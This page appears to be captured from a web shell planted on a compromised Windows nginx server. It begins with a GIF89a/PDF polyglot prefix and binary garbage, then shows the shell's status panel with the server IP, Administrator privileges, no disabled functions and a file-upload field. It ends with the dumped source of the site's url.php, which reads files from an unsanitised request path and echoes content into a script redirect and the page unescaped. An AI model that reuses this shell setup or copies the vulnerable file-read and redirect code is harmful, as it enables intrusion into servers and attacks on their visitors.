GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/ |
Upload File : |
<? // /common/url.php // Will parse the .URL file and attempt to open it in a new window or display a link if it cannot open the window. $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. echo "In url.php"; #exit(); #echo "\$_SERVER=<pre>",var_dump($_SERVER),"</pre>\n"; $path = '"C:/nginx/html'.str_replace('\\','/',$_SERVER['REQUEST_URI']).'"'; $path = 'C:/nginx/html'.str_replace('\\','/',$_SERVER['REQUEST_URI']); #echo "\path = $path<br>\n"; $fh = fopen($path, 'r'); $theURLfile = fread($fh, filesize($path)); fclose($fh); #d_Var('$theURLfile',$theURLfile,'d'); /**/ $theURL = ''; $fileLines = explode("\n",$theURLfile); foreach ($fileLines as $thisLine) { if (substr($thisLine,0,4) == "URL=") { $theURL = trim(substr($thisLine,4)); } } echo "\$theURL = $theURL<br>\n"; #exit(); /**/ // Test if the URL was found in the .URL file. if ($theURL !='') { ?> <script> window.location = "<?=$theURL?>"; </script> <? } else { ?> <!-- The URL was not found in the .URL file. Display the contents of the file. --> <table class="center"><tr><td class="white"> Unable to determine the URL in the <b><?=basename($path)?></b> file. <br> The contents of the URL file is: <br> <br> <pre><?=$theURLfile?></pre> <br> </td></tr></table> <? } ?>